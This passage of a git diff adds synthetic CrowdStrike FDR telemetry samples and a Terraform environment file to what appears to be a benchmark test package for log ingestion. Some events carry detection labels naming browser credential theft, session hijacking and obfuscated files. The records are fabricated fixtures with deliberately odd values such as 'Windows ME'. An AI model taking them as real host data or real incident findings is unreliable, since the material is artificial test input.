+{"event_simpleName":"InstalledBrowserExtension","BrowserName":"4","BrowserFilePath":"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe","BatchDataTotal":"2","BrowserProfileName":"Profile 1","BatchTimestamp":"1757820209.223","aip":"81.2.69.142","BrowserExtensionVersion":"1.2.1","BrowserExtensionInstalledTimestamp":"1748442656.300","BatchDataNumber":"1","UserSid":"S-1-5-21-2765107603-xxxx-500","event_platform":"Win","UpdateFlag":"1","BrowserProfileId":"Default","EventOrigin":"17","id":"0eaf2b81-3888-446f-99ba-e38ff8249b25","EffectiveTransmissionClass":"2","timestamp":"1757820209811","LocalAddressIP4":"81.2.69.192","BrowserExtensionArchitecture":"3","UserName":"win10_user3","ConfigStateHash":"3164437859","BrowserExtensionPath":"C:\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Extensions\\jmjflgjpcpepeafmmgdpfkogkghcpiha\\1.2.1_0","BrowserExtensionId":"jmjflgjpcpepeafmmgdpfkogkghcpiha","ConfigBuild":"1007.3.0019907.15","BrowserExtensionName":"Edge relevant text changes","BrowserExtensionStatusEnabled":"1","BrowserFileHash":"ef9d1b42ca58103e9647763f67303519a0701c7b1278af0ad25f7f673c10743b","Entitlements":"15","name":"InstalledBrowserExtensionV2","ComputerName":"win10-qwe-3","BrowserExtensionInstallMethod":"1","Attacks":[{"Tactic":"Persistence, Collection, Credential Access","Technique":"BrowserExtension, Browser Session Hijacking, Credentials from Web Browsers"}],"aid":"cdbfd7c3bab5478d935db9969b5886cc","BrowserVersion":"138.0.3351.83","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"SensorAntiTamperState","LocalAddressIP4":"81.2.69.192","ConfigStateHash":"1442922594","aip":"81.2.69.142","ConfigBuild":"1007.3.0019907.15","AntiTamperStateFlag":"9","event_platform":"Win","Entitlements":"15","name":"SensorAntiTamperStateV1","EventOrigin":"17","ComputerName":"win10-qwe-3","id":"8bee55a5-f768-48b9-ab4c-614a1283a58a","EffectiveTransmissionClass":"0","aid":"cdbfd7c3bab5478d935db9969b5886cc","timestamp":"1757648518836","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"SensorSettingsUpdate","RTRState":"1","LocalAddressIP4":"81.2.69.192","ConfigStateHash":"1442922594","aip":"81.2.69.142","Flags":"0","ConfigBuild":"1007.3.0019907.15","event_platform":"Win","Entitlements":"15","name":"SensorSettingsUpdateV1","EventOrigin":"17","ComputerName":"win10-qwe-3","id":"c188e104-d940-46af-aed8-acf5086fc187","EffectiveTransmissionClass":"0","aid":"cdbfd7c3bab5478d935db9969b5886cc","timestamp":"1757648518836","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"ServicesStatusInfo","LocalAddressIP4":"81.2.69.192","ConfigStateHash":"1694325680","aip":"81.2.69.142","ServiceDisplayName":"spooler","ConfigBuild":"1007.3.0019907.15","event_platform":"Win","Entitlements":"15","name":"ServicesStatusInfoV1","EventOrigin":"17","ComputerName":"win10-qwe-3","id":"37ddccdf-594d-4224-97de-e784822466f4","ErrorCode":"0","EffectiveTransmissionClass":"0","aid":"cdbfd7c3bab5478d935db9969b5886cc","timestamp":"1757819610498","cid":"4092825518eaf67377a6e4492ae44577","ServiceCurrentState":"4"}
+{"event_simpleName":"FileWrittenWithEntropyHigh","Size":"12216","ShannonEntropy":"932","aip":"81.2.69.142","BoundingLimitCount":"5","event_platform":"Win","EventOrigin":"1","id":"fc10d190-e98f-45fc-bb2a-ca60d3534a2a","EffectiveTransmissionClass":"3","timestamp":"1761811953235","LocalAddressIP4":"81.2.69.192","ContextTimeStamp":"1761811952.620","ConfigStateHash":"1146505100","ContextProcessId":"111845303038","AuthenticationId":"999","ConfigBuild":"1007.3.0019907.15","FileEcpBitmask":"0","BoundingLimitDuration":"3600000","Entitlements":"15","name":"FileWrittenWithEntropyHighV2","ComputerName":"win10-qwe-3","Attacks":[{"Tactic":"Defense Evasion","Technique":"Obfuscated Files or Information"}],"aid":"bae5bafaeb93295d398bf55b8ba1cf01","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\Device\\HarddiskVolume4\\Windows\\Temp\\APPX.fb9inon0wlj06bji0gujvuvcd.tmp"}
+{"event_simpleName":"ReflectiveDotnetModuleLoad","AssemblyName":"vezhsq1h, Version\u003d0.0.0.0, Culture\u003dneutral, PublicKeyToken\u003dnull","ModuleNativePath":"","NativePdbBuildPath":"","aip":"81.2.69.142","event_platform":"Win","DotnetModuleFlags":"8","DotnetModuleId":"140707789195504","EventOrigin":"1","id":"b089f099-ffac-44fd-9efe-e1bc148214ee","EffectiveTransmissionClass":"3","timestamp":"1755638644187","ManagedPdbBuildPath":"","ContextTimeStamp":"1755638637.713","ConfigStateHash":"3064617115","ContextProcessId":"11708829302","AssemblyFlags":"0","EtwProviderType":"2","ConfigBuild":"1007.3.0019907.15","CommandLine":"\"C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\"","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","Entitlements":"15","name":"ReflectiveDotnetModuleLoadV2","AssemblyId":"1825020243168","aid":"cdbfd7c3bab5478d935db9969b5886cc","ModuleILPath":"vezhsq1h","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"SuspiciousPrivilegedProcessHandle","IntegrityLevel":"16384","ContextThreadId":"1217210494023","aip":"81.2.69.142","TargetIntegrityLevel":"16384","event_platform":"Win","SuspiciousHandleOpenReason":"2","EventOrigin":"1","id":"87902694-15af-4692-b1e2-bf7fba80b272","HandleCreated":"0","EffectiveTransmissionClass":"3","timestamp":"1757597618983","LocalAddressIP4":"81.2.69.192","ContextTimeStamp":"1757597618.424","ConfigStateHash":"3591479077","ContextProcessId":"90332841484","AuthenticationId":"996","ConfigBuild":"1007.3.0019907.15","TargetProcessId":"90365065195","DesiredAccess":"2097151","Entitlements":"15","name":"SuspiciousPrivilegedProcessHandleV2","ComputerName":"win10-qwe-3","aid":"cdbfd7c3bab5478d935db9969b5886cc","TargetAuthenticationId":"996","cid":"4092825518eaf67377a6e4492ae44577"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/env.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/env.yml
new file mode 100644
index 0000000000..6e1f17f7a9
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/env.yml
@@ -0,0 +1,10 @@
+version: '2.3'
+services:
+  terraform:
+    environment:
+      - AWS_ACCESS_KEY_ID=${AWS_ACCESS_KEY_ID}
+      - AWS_SECRET_ACCESS_KEY=${AWS_SECRET_ACCESS_KEY}
+      - AWS_SESSION_TOKEN=${AWS_SESSION_TOKEN}
+      - AWS_PROFILE=${AWS_PROFILE}
+      - AWS_REGION=${AWS_REGION:-us-east-1}
+      - TF_VAR_eventbridge_role_arn=arn:aws:iam::144492464627:role/eb-scheduler-role-20231101165501426500000001
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-0_aidmaster.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-0_aidmaster.log
new file mode 100644
index 0000000000..5cf7cfb6de
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-0_aidmaster.log
@@ -0,0 +1,5 @@
+{"AgentLoadFlags":"1","AgentLocalTime":"1697712608","AgentTimeOffset":"-1918.056","AgentVersion":"6.58.13921.0","BiosManufacturer":"Iris","BiosVersion":"vG17V.21010423/w64","ChassisType":"Other","City":"Varanasi","ComputerName":"FEVWSA1-003","ConfigBuild":"1007.3.0017213.1","ConfigIDBuild":"13921","Continent":"Asia","Country":"India","FalconGroupingTags":"'FalconGroupingTags/INDIA'","FirstSeen":"1619196080.0","HostHiddenStatus":"Visible","MachineDomain":"groot.org","OU":"SAT;FE;VDI;Global;Offices","PointerSize":"8","ProductType":"1.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"GNG","SystemManufacturer":"Iris","SystemProductName":"IrOS","Time":"1697992784.144","Timezone":"Asia/Varanasi","Version":"Windows 10","aid":"ffffffffa63e404bba4bff7465ab3afb","aip":"214.3.91.8","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"}
+{"AgentLoadFlags":"0","AgentLocalTime":"1697054061","AgentTimeOffset":"12274.197","AgentVersion":"7.01.13921.0","BiosManufacturer":"Iris","BiosVersion":"vG17V.210105623/u64","ChassisType":"Other","City":"Hamilton","ComputerName":"MIVWIN21","ConfigBuild":"1007.3.0017312.1","ConfigIDBuild":"13921","Continent":"Europe","Country":"Iceland","FalconGroupingTags":"'FalconGroupingTags/Iceland'","FirstSeen":"1576097732.0","HostHiddenStatus":"Visible","MachineDomain":"iceland.bigbiz.local","OU":"Infrastructure for CM;Citrix BM","PointerSize":"8","ProductType":"3.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"Mosfellsbær","SystemManufacturer":"Iris","SystemProductName":"IrOS","Time":"1697992773.787","Timezone":"Europe/Iceland","Version":"Windows Server 2022","aid":"ffffffff3c0846978560dbc0048d6555","aip":"42.7.15.32","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"}
+{"AgentLoadFlags":"0","AgentLocalTime":"1697069182","AgentTimeOffset":"-2275.344","AgentVersion":"7.01.13922.0","BiosManufacturer":"American Megatrends","BiosVersion":"FW29-234098","ChassisType":"Space-Saving","City":"Mumbai","ComputerName":"FEVWSA1-029","ConfigBuild":"1007.3.0017312.1","ConfigIDBuild":"13922","Continent":"Asia","Country":"India","FalconGroupingTags":"'FalconGroupingTags/India'","FirstSeen":"1592645590.0","HostHiddenStatus":"Visible","MachineDomain":"groot.org","OU":"PROD;Win10 Workstations;India;Offices","PointerSize":"8","ProductType":"1.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"IO","SystemManufacturer":"Dell","SystemProductName":"Dell Note","Time":"1697992701.85","Timezone":"India/Mumbai","Version":"Windows 10","aid":"ffffffffc59c473aa7fcbbe7438082cb","aip":"42.7.16.195","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"}
+{"AgentLoadFlags":"1","AgentLocalTime":"1697735519","AgentTimeOffset":"15963.231","AgentVersion":"6.56.17010.0","BiosManufacturer":"Iris","BiosVersion":"vG17V.210105623/u64","ChassisType":"Other","City":"Chicago","ComputerName":"FEVWSN1-009","ConfigBuild":"1007.3.0017010.1","ConfigIDBuild":"17010","Continent":"North America","Country":"America","FalconGroupingTags":"none","FirstSeen":"1641998107.0","HostHiddenStatus":"Visible","MachineDomain":"groot.org","OU":"UAT;CAA;VDI;Global;Offices","PointerSize":"8","ProductType":"1.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"BCL","SystemManufacturer":"Iris","SystemProductName":"IrOS","Time":"1697992762.221","Timezone":"America/Chicago","Version":"Windows ME","aid":"ffffffffac4148947ed68497e89f3308","aip":"16.15.12.10","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"}
+{"AgentLoadFlags":"1","AgentLocalTime":"1697775225","AgentTimeOffset":"15889.017","AgentVersion":"7.01.13922.0","BiosManufacturer":"Iris","BiosVersion":"vG17V.21040423/z64","ChassisType":"Other","City":"Chicago","ComputerName":"FEVWSN1-234","ConfigBuild":"1007.3.0017312.1","ConfigIDBuild":"13922","Continent":"North America","Country":"United States of America","FalconGroupingTags":"'FalconGroupingTags/AMERICA'","FirstSeen":"1628678052.0","HostHiddenStatus":"Visible","MachineDomain":"groot.org","OU":"Servers;America;Offices","PointerSize":"8","ProductType":"3.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"BCL","SystemManufacturer":"Iris","SystemProductName":"IrOS","Time":"1697992719.22","Timezone":"America/Chicago","Version":"Windows Server 2021","aid":"ffffffff655344736aca58d17fb570f0","aip":"16.15.12.10","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-0_userinfo.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-0_userinfo.log
new file mode 100644
index 0000000000..a663f3cdd4
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-0_userinfo.log
@@ -0,0 +1 @@
+{"AccountType":"Domain User","LastLoggedOnHost":"COMPUTER1","LocalAdminAccess":"No","LogonInfo":"Domain User Logon","LogonTime":"1702546155.197","LogonType":"Interactive","PasswordLastSet":"1699971198.062","User":"DOMAIN\\BRADLEYA","UserIsAdmin":"0","UserLogonFlags_decimal":"0","UserName":"Alan-One","UserSid_readable":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","_time":"1702546168.576","cid":"ffffffff15754bcfb5f9152ec7ac90ac","event_platform":"Win","monthsincereset":"1.0"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-sample.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-sample.log
new file mode 100644
index 0000000000..f3d053e28c
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-sample.log
@@ -0,0 +1,128 @@
+{"ParentProcessId":"362225661973273550","SourceProcessId":"362225661973273550","aip":"67.43.156.14","SessionProcessId":"363970027584976556","SyntheticPR2Flags":"8","event_platform":"Mac","SVUID":"501","id":"ffffffff-1111-11eb-8dd4-061759968cdf","EffectiveTransmissionClass":"2","timestamp":"1625677521162","ProcessGroupId":"363970027584976556","event_simpleName":"SyntheticProcessRollup2","RawProcessId":"9505","ContextTimeStamp":"1625677521.137","GID":"20","ConfigStateHash":"1620585913","SVGID":"20","ConfigBuild":"1007.4.0013701.1","UID":"501","CommandLine":"/bin/sh -s unix:cmd","TargetProcessId":"363970027584976556","ImageFileName":"/bin/sh","RGID":"501","SourceThreadId":"0","Entitlements":"15","name":"SyntheticProcessRollup2MacV3","RUID":"501","aid":"ffffffffa63e404bba4bff7465ab3afb","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"FileDeletedCount":"0","DirectoryCreatedCount":"0","ContextThreadId":"0","aip":"67.43.156.14","NetworkConnectCount":"0","NetworkListenCount":"0","event_platform":"Mac","NetworkBindCount":"0","NetworkRecvAcceptCount":"0","id":"ffffffff-1111-11eb-9d75-02bcf3ade03b","NewExecutableWrittenCount":"0","NetworkCloseCount":"0","EffectiveTransmissionClass":"3","SuspectStackCount":"0","timestamp":"1625677524102","event_simpleName":"EndOfProcess","RawProcessId":"33454","ContextTimeStamp":"1625677523.068","ConfigStateHash":"3090255842","ContextProcessId":"365053603452626914","AsepWrittenCount":"0","SuspiciousDnsRequestCount":"0","ConfigBuild":"1007.4.0013701.1","NetworkCapableAsepWriteCount":"0","ExecutableDeletedCount":"0","TargetProcessId":"365053603452626914","DnsRequestCount":"0","Entitlements":"15","name":"EndOfProcessMacV15","aid":"ffffffff3c0846978560dbc0048d6555","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"RawBindIP6","ContextTimeStamp":"1625677488.594","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","RemoteAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1620585913","ConnectionFlags":"0","ContextProcessId":"365042236081053654","RemotePort":"546","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"547","Entitlements":"15","name":"RawBindIP6MacV10","id":"ffffffff-1111-11eb-ad8d-064c77be2fd1","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffffc59c473aa7fcbbe7438082cb","ConnectionDirection":"2","InContext":"0","timestamp":"1625677488615","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"1620585913","Timeout":"600","aip":"67.43.156.14","SHA256HashData":"f8bd34d4ac025f862c6fe8f3fd3f170072f94f1f2ec9dc6cb2d7925422b77018","ProcessCount":"4","ConfigBuild":"1007.4.0013701.1","UID":"502","event_platform":"Mac","CommandLine":"ruby --disable-gems sorbet/feature_dependency_plugin.rb --class EmergingAlbertsonsPickupBannerDiscount --method feature_dependency --source feature_dependency Domain::FeatureDependencies::RouletteUserFeature.new(\n        feature_name: FEATURE_NAME,\n        variants: [FEATURE_VARIANT],\n      )","Entitlements":"15","name":"ProcessRollup2StatsMacV1","id":"ffffffff-1111-11eb-822b-06081a3f0f45","EffectiveTransmissionClass":"2","aid":"ffffffff59fe460783ea45d59e417d6f","timestamp":"1625677504527","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"SensorHeartbeat","ConfigStateHash":"3090255842","NetworkContainmentState":"0","aip":"67.43.156.14","ConfigIDBase":"65994753","SensorStateBitMap":"0","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","ConfigurationVersion":"10","Entitlements":"15","name":"SensorHeartbeatMacV4","ConfigIDPlatform":"4","id":"ffffffff-1111-11eb-97c6-02fd02aca859","ConfigIDBuild":"13701","EffectiveTransmissionClass":"0","aid":"ffffffffe1ad47b6b5b44ae9151a6cf3","ProvisionState":"1","timestamp":"1625677514783","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"MachOSubType":"1","ParentProcessId":"362213307092004097","SourceProcessId":"362213307092004097","aip":"67.43.156.14","SessionProcessId":"362213307092004097","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Mac","ProcessEndTime":"","SVUID":"0","ParentBaseFileName":"launchd","id":"ffffffff-1111-11eb-a9ce-02e9216bdbcb","EffectiveTransmissionClass":"2","timestamp":"1625677502500","ProcessGroupId":"362213307092004097","event_simpleName":"ProcessRollup2","RawProcessId":"56254","GID":"0","ConfigStateHash":"1620585913","SVGID":"0","MD5HashData":"88922d50263b059696c2af5a99906562","SHA256HashData":"d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6","ConfigBuild":"1007.4.0013701.1","UID":"0","CommandLine":"xpcproxy com.apple.mdworker.shared.01000000-0600-0000-0000-000000000000","TargetProcessId":"363276350115996101","ImageFileName":"/usr/libexec/xpcproxy","RGID":"0","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2MacV5","RUID":"0","ProcessStartTime":"1625677502.233","aid":"ffffffff8be84591864008eb2e484920","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkReceiveAcceptIP4","ContextTimeStamp":"1625677504.982","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"17307488247882","RemotePort":"53","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"39920","Entitlements":"15","name":"NetworkReceiveAcceptIP4LinV5","id":"ffffffff-1111-11eb-9d7c-02e8a46f51a5","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff5a2e420c99f6b6d3a5d9de9b","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"1","InContext":"0","timestamp":"1625677505511","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"LocalAddressIP4":"67.43.156.14","event_simpleName":"RawBindIP4","ContextTimeStamp":"1625677521.866","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"362579458925546303","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"53","Entitlements":"15","name":"RawBindIP4MacV10","id":"ffffffff-1111-11eb-81d4-0282ad9ac82d","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff01fc49949cf06bf0bce3c010","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677522009","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1625677523.901","LocalAddressIP6":"0:0:0:0:0:0:0:0","RemoteAddressIP4":"127.0.0.1","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"364783686797112486","RemotePort":"50626","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"0","Entitlements":"15","name":"NetworkConnectIP6MacV10","id":"ffffffff-1111-11eb-97c6-02fd02aca859","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff083845f68a7de3d95cb34361","ConnectionDirection":"0","InContext":"0","timestamp":"1625677524048","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"ParentProcessId":"38911774195823","SourceProcessId":"38911774195823","aip":"67.43.156.14","SessionProcessId":"38911772846634","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Lin","ProcessEndTime":"1625677535.102","SVUID":"114","ParentBaseFileName":"bash","id":"ffffffff-1111-11eb-bad4-02690d039c6b","EffectiveTransmissionClass":"2","timestamp":"1625677535482","ProcessGroupId":"9277112078","event_simpleName":"ProcessRollup2","RawProcessId":"73249","GID":"119","ConfigStateHash":"1284133626","SVGID":"119","MD5HashData":"29037cef466fa57f03bd1b2a092c47a4","SHA256HashData":"a4f11f04df7aa3ac611dcbdb3e3d934a8f0523ea17b0a41a1809c380efd2d112","ConfigBuild":"1007.8.0010912.1","UID":"114","CommandLine":"pgbackrest --stanza\u003dmain archive-get 000000020004D51F0000009F pg_wal/RECOVERYXLOG","TargetProcessId":"38911778380590","ImageFileName":"/usr/bin/pgbackrest","RGID":"119","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2LinV6","RUID":"114","ProcessStartTime":"1625677535.068","aid":"ffffffffcf45409f87ed463b40c368ec","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1625677503.713","LocalAddressIP6":"0:0:0:0:0:0:0:1","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"17307455014463","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"41952","Entitlements":"15","name":"NetworkConnectIP6LinV5","id":"ffffffff-1111-11eb-9d7c-02e8a46f51a5","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff5a2e420c99f6b6d3a5d9de9b","ConnectionDirection":"0","InContext":"0","timestamp":"1625677503947","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"OoxmlFileWritten","ContextTimeStamp":"1625677520.973","ConfigStateHash":"3090255842","ContextProcessId":"365044948432500700","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"0500000100000000000000000000000021b0260000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"OoxmlFileWrittenMacV1","id":"ffffffff-1111-11eb-8ad1-02cfdadef55f","EffectiveTransmissionClass":"2","aid":"ffffffff20bd481a98a3d1f6191047ff","timestamp":"1625677521081","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user1/Library/Application Support/Google/DriveFS/110588730849638631570/content_cache/d23/d44/432508"}
+{"LocalAddressIP4":"67.43.156.14","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1625677530.308","ConfigStateHash":"3469235958","ConnectionFlags":"0","ContextProcessId":"12227094573885","RemotePort":"80","aip":"67.43.156.13","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"59926","Entitlements":"15","name":"NetworkConnectIP4LinV5","id":"ffffffff-1111-11eb-b727-028bbe41f38d","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffffbd064538b214ab0dce8e82c3","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"0","InContext":"0","timestamp":"1625677530841","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"ChannelVersion":"0","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"1156120155","ChannelDiffStatus":"1","aip":"67.43.156.14","ChannelVersionRequired":"0","ChannelId":"12","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"ChannelVersionRequiredLinV2","id":"ffffffff-1111-11eb-b7e0-02332cdcc16d","ErrorCode":"0","aid":"ffffffff25b14d4aa96de99e24bad2fa","timestamp":"1625677493974","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"LocalIpAddressIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1156120155","CreationTimeStamp":"1625677520.686","aip":"67.43.156.14","PhysicalAddress":"6e-9e-e0-1f-6d-7d","InterfaceAlias":"vethdeb0243","InterfaceIndex":"3736","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","InterfaceType":"1","name":"LocalIpAddressIP6LinV1","id":"ffffffff-1111-11eb-92d2-0286f570f8e1","PhysicalAddressLength":"6","aid":"ffffffffc9114c1898e79604708955a6","timestamp":"1625677521218","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"ChannelVersion":"0","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"1620585913","ChannelDiffStatus":"1","aip":"67.43.156.13","ChannelVersionRequired":"0","ChannelId":"210","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ChannelVersionRequiredMacV2","id":"ffffffff-1111-11eb-8cc5-02c6fb049dd3","ErrorCode":"0","EffectiveTransmissionClass":"0","aid":"ffffffff2d7b4778a73b2cf58d327e42","timestamp":"1625677480455","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"SensorHeartbeat","ConfigStateHash":"1156120155","NetworkContainmentState":"0","aip":"67.43.156.14","ConfigIDBase":"65994753","SensorStateBitMap":"2","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","ConfigurationVersion":"10","name":"SensorHeartbeatLinV4","ConfigIDPlatform":"8","id":"ffffffff-1111-11eb-993f-02b8dc387eb5","ConfigIDBuild":"11611","aid":"fffffffff6e146908cbf31d72b94b626","timestamp":"1625677540292","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"JavaClassFileWritten","ContextTimeStamp":"1625677528.570","ConfigStateHash":"3090255842","ContextProcessId":"364783686797112486","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"04000001000000000000000000000000986b480e00000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"JavaClassFileWrittenMacV1","id":"ffffffff-1111-11eb-97c6-02fd02aca859","EffectiveTransmissionClass":"2","aid":"ffffffff083845f68a7de3d95cb34361","timestamp":"1625677528717","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user2/shopper-one/tooling/teams-plugin/build/classes/kotlin/main/com/instacart/shopper/tooling/TeamsPlugin$apply$$inlined$configure$1.class"}
+{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1625677512.700","ConfigStateHash":"1620585913","ConnectionFlags":"0","ContextProcessId":"364796317497854624","RemotePort":"443","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"0","Entitlements":"15","name":"NetworkConnectIP4MacV10","id":"ffffffff-1111-11eb-9c94-0222a21bbb27","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff96f142f6b2475f3c584ddd80","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"0","InContext":"0","timestamp":"1625677512892","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"DnsRequest","ContextTimeStamp":"1625677475.806","ConfigStateHash":"1620585913","ContextProcessId":"364977197365370629","DomainName":"jss.dom1.com","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"DnsRequestMacV1","id":"ffffffff-1111-11eb-9644-060415b1fd87","EffectiveTransmissionClass":"2","aid":"ffffffff7ecf4e61bba14ca5ac5d17b1","timestamp":"1625677476111","cid":"ffffffff15754bcfb5f9152ec7ac90ac","RequestType":"28"}
+{"event_simpleName":"NewScriptWritten","ContextTimeStamp":"1625677504.770","ConfigStateHash":"1620585913","ContextProcessId":"365053504406857894","Size":"0","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"2d9a331f045a9c6b13d45eabe948b5c7dfdc25e1251bff6756fa306581087da9","FileIdentifier":"05000001000000000000000000000000b588050000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NewScriptWrittenMacV2","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","EffectiveTransmissionClass":"2","aid":"ffffffffbea440b9aad8b5bf222d303f","timestamp":"1625677540055","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Applications/BitBar/countdown_timer.1s.py"}
